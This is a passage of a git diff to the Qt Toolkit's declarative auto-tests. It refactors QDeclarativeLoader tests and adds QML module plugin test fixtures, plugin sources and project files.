-    QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml"));
+    QCOMPARE(loader->item() == 0, error);
+    QCOMPARE(loader->source(), sourceUrl);
     QCOMPARE(loader->progress(), 1.0);
-    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
-    QCOMPARE(loader->property("did_load").toInt(), 123);
-    QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
 
-    delete loader;
-}
+    QCOMPARE(loader->status(), error ? QDeclarativeLoader::Error : QDeclarativeLoader::Ready);
+    QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), error ? 0: 1);
 
-void tst_QDeclarativeLoader::component()
-{
-    QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml"));
-    QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
-    QVERIFY(item);
+    if (!error) {
+        QDeclarativeComponent *c = qobject_cast<QDeclarativeComponent*>(loader->QGraphicsObject::children().at(0));
+        QVERIFY(c);
+        QCOMPARE(loader->sourceComponent(), c);
+    }
 
-    QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(item->QGraphicsObject::children().at(1)); 
-    QVERIFY(loader);
-    QVERIFY(loader->item());
-    QCOMPARE(loader->progress(), 1.0);
-    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
-    QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+    QCOMPARE(loader->property("onSourceChangedCount").toInt(), 1);
+    QCOMPARE(loader->property("onStatusChangedCount").toInt(), 1);
+    QCOMPARE(loader->property("onProgressChangedCount").toInt(), 1);
 
-    QDeclarativeComponent *c = qobject_cast<QDeclarativeComponent*>(item->QGraphicsObject::children().at(0));
-    QVERIFY(c);
-    QCOMPARE(loader->sourceComponent(), c);
+    QCOMPARE(loader->property("onItemChangedCount").toInt(), error ? 0 : 1);
+    QCOMPARE(loader->property("onLoadedCount").toInt(), error ? 0 : 1);
 
-    delete item;
+    delete loader;
 }
 
-void tst_QDeclarativeLoader::invalidUrl()
+void tst_QDeclarativeLoader::sourceOrComponent_data()
 {
-    QTest::ignoreMessage(QtWarningMsg, QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found").toUtf8().constData());
+    QTest::addColumn<QString>("sourceDefinition");
+    QTest::addColumn<QUrl>("sourceUrl");
+    QTest::addColumn<QString>("errorString");
 
-    QDeclarativeComponent component(&engine);
-    component.setData(QByteArray("import QtQuick 1.0\nLoader { source: \"IDontExist.qml\" }"), TEST_FILE(""));
-    QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
-    QVERIFY(loader != 0);
-    QVERIFY(loader->item() == 0);
-    QCOMPARE(loader->progress(), 1.0);
-    QCOMPARE(loader->status(), QDeclarativeLoader::Error);
-    QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 0);
+    QTest::newRow("source") << "source: 'Rect120x60.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml") << "";
+    QTest::newRow("sourceComponent") << "Component { id: comp; Rectangle { width: 100; height: 50 } }\n sourceComponent: comp\n" << QUrl() << "";
 
-    delete loader;
+    QTest::newRow("invalid source") << "source: 'IDontExist.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml")
+            << QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found");
 }
 
 void tst_QDeclarativeLoader::clear()
@@ -446,7 +463,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
     server.serveDirectory(SRCDIR "/data");
 
     QDeclarativeComponent component(&engine);
-    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: did_load=123 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
+    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int signalCount : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: signalCount += 1 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
     if (component.isError())
         qDebug() << component.errors();
     QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
@@ -456,7 +473,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
 
     QVERIFY(loader->item());
     QCOMPARE(loader->progress(), 1.0);
-    QCOMPARE(loader->property("did_load").toInt(), 123);
+    QCOMPARE(loader->property("signalCount").toInt(), 1);
     QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
 
     delete loader;
@@ -576,6 +593,45 @@ void tst_QDeclarativeLoader::creationContext()
     delete o;
 }
 
+void tst_QDeclarativeLoader::QTBUG_16928()
+{
+    QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_16928.qml"));
+    QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+    QVERIFY(item);
+
+    QCOMPARE(item->width(), 250.);
+    QCOMPARE(item->height(), 250.);
+
+    delete item;
+}
+
+void tst_QDeclarativeLoader::implicitSize()
+{
+    QDeclarativeComponent component(&engine, TEST_FILE("implicitSize.qml"));
+    QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+    QVERIFY(item);
+
+    QCOMPARE(item->width(), 150.);
+    QCOMPARE(item->height(), 150.);
+
+    QCOMPARE(item->property("implHeight").toReal(), 100.);
+    QCOMPARE(item->property("implWidth").toReal(), 100.);
+
+    delete item;
+}
+
+void tst_QDeclarativeLoader::QTBUG_17114()
+{
+    QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_17114.qml"));
+    QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+    QVERIFY(item);
+
+    QCOMPARE(item->property("loaderWidth").toReal(), 32.);
+    QCOMPARE(item->property("loaderHeight").toReal(), 32.);
+
+    delete item;
+}
+
 QTEST_MAIN(tst_QDeclarativeLoader)
 
 #include "tst_qdeclarativeloader.moc"
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml
new file mode 100644
index 0000000..70b2bfd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml
@@ -0,0 +1,21 @@
+import com.nokia.AutoTestQmlMixedPluginType 1.5
+import QtQuick 1.0
+
+Item {
+    property bool test: false
+    property bool test2: false
+
+    Bar { 
+        id: bar
+    }
+
+    Foo {
+        id: foo
+    }
+
+    Component.onCompleted: {
+        test = (bar.value == 16);
+        test2 = (foo.value == 89);
+    }
+}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml
new file mode 100644
index 0000000..da6ff46
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml
@@ -0,0 +1,13 @@
+import com.nokia.AutoTestQmlMixedPluginType 1.0
+import QtQuick 1.0
+
+Item {
+    property bool test: false
+    Bar { 
+        id: bar
+    }
+
+    Component.onCompleted: {
+        test = (bar.value == 16);
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml
new file mode 100644
index 0000000..a9e28e5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestPluginWithQmlFile 1.0
+
+MyQmlFile {}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt
new file mode 100644
index 0000000..a40c1c8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt
@@ -0,0 +1 @@
+1:1:module "com.nokia.AutoTestQmlVersionPluginType" version 1.9 is not installed
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml
new file mode 100644
index 0000000..59fd084
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml
@@ -0,0 +1,5 @@
+import com.nokia.AutoTestQmlVersionPluginType 1.9
+import QtQuick 1.0
+
+QtObject {
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt
new file mode 100644
index 0000000..2634223
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt
@@ -0,0 +1 @@
+1:1:module "com.nokia.AutoTestQmlVersionPluginType" version 1.1 is not installed
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml
new file mode 100644
index 0000000..2065c07
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml
@@ -0,0 +1,6 @@
+import com.nokia.AutoTestQmlVersionPluginType 1.1
+import QtQuick 1.0
+
+QtObject {
+}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml
new file mode 100644
index 0000000..cc322bf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestQmlPluginType 2.0
+
+MyPluginType { valueOnlyIn2: 123 }
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml
new file mode 100644
index 0000000..c08160a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestQmlPluginType 2.1
+
+MyPluginType { valueOnlyIn2: 123 }
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml
new file mode 100644
index 0000000..18dcd26
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Item {}
\ No newline at end of file
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir
new file mode 100644
index 0000000..858ba14
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir
@@ -0,0 +1,3 @@
+MyQmlFile 1.0 MyQmlFile.qml
+plugin pluginWithQmlFile
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml
new file mode 100644
index 0000000..ce51cbd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+    property int value: 89
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir
new file mode 100644
index 0000000..065dc3b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir
@@ -0,0 +1,2 @@
+plugin pluginMixed
+Foo 1.5 Foo.qml
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir
new file mode 100644
index 0000000..0a8b5d4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir
@@ -0,0 +1 @@
+plugin plugin
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir
new file mode 100644
index 0000000..0a8b5d4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir
@@ -0,0 +1 @@
+plugin plugin
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir
new file mode 100644
index 0000000..640967f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir
@@ -0,0 +1 @@
+plugin pluginVersion
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml
new file mode 100644
index 0000000..49613aa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Item {}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml
new file mode 100644
index 0000000..f19a336
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Item {}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir
new file mode 100644
index 0000000..167bb10
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir
@@ -0,0 +1,3 @@
+ComponentA 1.0 ComponentA.qml
+ComponentB 1.0 ComponentB.qml
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro
new file mode 100644
index 0000000..661675a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType.2.1
+
+symbian: {
+    TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp
new file mode 100644
index 0000000..1ae2bd4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class MyPluginType : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(int value READ value WRITE setValue)
+    Q_PROPERTY(int valueOnlyIn2 READ value WRITE setValue)
+
+public:
+    MyPluginType(QObject *parent=0) : QObject(parent)
+    {
+        qWarning("import2.1 worked");
+    }
+
+    int value() const { return v; }
+    void setValue(int i) { v = i; }
+
+private:
+    int v;
+};
+
+
+class MyPlugin : public QDeclarativeExtensionPlugin
+{
+    Q_OBJECT
+public:
+    MyPlugin()
+    {
+        qWarning("plugin2.1 created");
+    }
+
+    void registerTypes(const char *uri)
+    {
+        Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType");
+        qmlRegisterType<MyPluginType>(uri, 2, 1, "MyPluginType");
+    }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro
new file mode 100644
index 0000000..d254642
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType.2
+
+symbian: {
+    TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tools/qdoc3/mangenerator.h b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp
index cab2f24..6bd8542 100644
--- a/tools/qdoc3/mangenerator.h
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp
@@ -4,7 +4,7 @@
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the test suite of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -38,42 +38,47 @@
 ** $QT_END_LICENSE$
 **
 ****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
 
-/*
-  mangenerator.h
-*/
+class MyPluginType : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(int value READ value WRITE setValue)
+    Q_PROPERTY(int valueOnlyIn2 READ value WRITE setValue)
+
+public:
+    MyPluginType(QObject *parent=0) : QObject(parent)
+    {
+        qWarning("import2 worked");
+    }
 
-#ifndef MANGENERATOR_H
-#define MANGENERATOR_H
+    int value() const { return v; }
+    void setValue(int i) { v = i; }
 
-#include "pagegenerator.h"
+private:
+    int v;
+};
 
-QT_BEGIN_NAMESPACE
 
-class ManGenerator : public PageGenerator
+class MyPlugin : public QDeclarativeExtensionPlugin
 {
+    Q_OBJECT
 public:
-    ManGenerator();
-    ~ManGenerator();
-
-    virtual QString format();
-
-protected:
-    virtual int generateAtom( const Atom *atom, const Node *relative,
-			      CodeMarker *marker );
-    virtual void generateClassLikeNode(const InnerNode *node, CodeMarker *marker);
-    virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker );
-    virtual QString fileExtension(const Node *node) const;
-
-private:
-    void generateHeader( const QString& name );
-    void generateFooter();
-    QString protectArg( const QString& str );
-    QString protectTextLine( const QString& str );
+    MyPlugin()
+    {
+        qWarning("plugin2 created");
+    }
 
-    QString date;
+    void registerTypes(const char *uri)
+    {
+        Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType");
+        qmlRegisterType<MyPluginType>(uri, 2, 0, "MyPluginType");
+    }
 };
 
-QT_END_NAMESPACE
+#include "plugin.moc"
 
-#endif
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp
new file mode 100644
index 0000000..c7796e2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class BarPluginType : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(int value READ value);
+
+public:
+    int value() const { return 16; }
+};
+
+
+class MyMixedPlugin : public QDeclarativeExtensionPlugin
+{
+    Q_OBJECT
+public:
+    MyMixedPlugin()
+    {
+    }
+
+    void registerTypes(const char *uri)
+    {
+        Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlMixedPluginType");
+        qmlRegisterType<BarPluginType>(uri, 1, 0, "Bar");
+    }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyMixedPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro
new file mode 100644
index 0000000..9766003
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlMixedPluginType
+
+symbian: {
+    TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp
new file mode 100644
index 0000000..27a6341
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class FloorPluginType : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(int value READ value);
+
+public:
+    int value() const { return 16; }
+};
+
+
+class MyMixedPlugin : public QDeclarativeExtensionPlugin
+{
+    Q_OBJECT
+public:
+    MyMixedPlugin()
+    {
+    }
+
+    void registerTypes(const char *uri)
+    {
+        Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlVersionPluginType");
+        qmlRegisterType<FloorPluginType>(uri, 1, 4, "Floor");
+    }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyMixedPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro
new file mode 100644
index 0000000..70a38b9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlVersionPluginType
+
+symbian: {
+    TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tools/qdoc3/bookgenerator.h b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp
index 34f2c8b..20e2d80 100644
--- a/tools/qdoc3/bookgenerator.h
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp
@@ -4,7 +4,7 @@
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the test suite of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -38,27 +38,21 @@
 ** $QT_END_LICENSE$
 **
 ****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
 
-/*
-  bookgenerator.h
-*/
-
-#ifndef BOOKGENERATOR_H
-#define BOOKGENERATOR_H
-
-#include "generator.h"
-
-QT_BEGIN_NAMESPACE
-
-class BookGenerator : public Generator
+class MyPlugin : public QDeclarativeExtensionPlugin
 {
+    Q_OBJECT
 public:
-    BookGenerator();
-    ~BookGenerator();
-
-    virtual void generateTree( const Tree *tree, CodeMarker *marker );
+    void registerTypes(const char *uri)
+    {
+        Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestPluginWithQmlFile");
+    }
 };
 
-QT_END_NAMESPACE
+#include "plugin.moc"
 
-#endif
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro
new file mode 100644
index 0000000..aa9c95c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestPluginWithQmlFile
+
+symbian: {
+    TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro
index 221e465..6e72d98 100644
--- a/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro
@@ -1,6 +1,6 @@
 QT = core
 TEMPLATE = subdirs
-SUBDIRS = plugin pluginWrongCase
+SUBDIRS = plugin plugin.2 plugin.2.1 pluginWrongCase pluginWithQmlFile pluginMixed pluginVersion
 tst_qdeclarativemoduleplugin_pro.depends += plugin
 SUBDIRS += tst_qdeclarativemoduleplugin.pro
 
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp
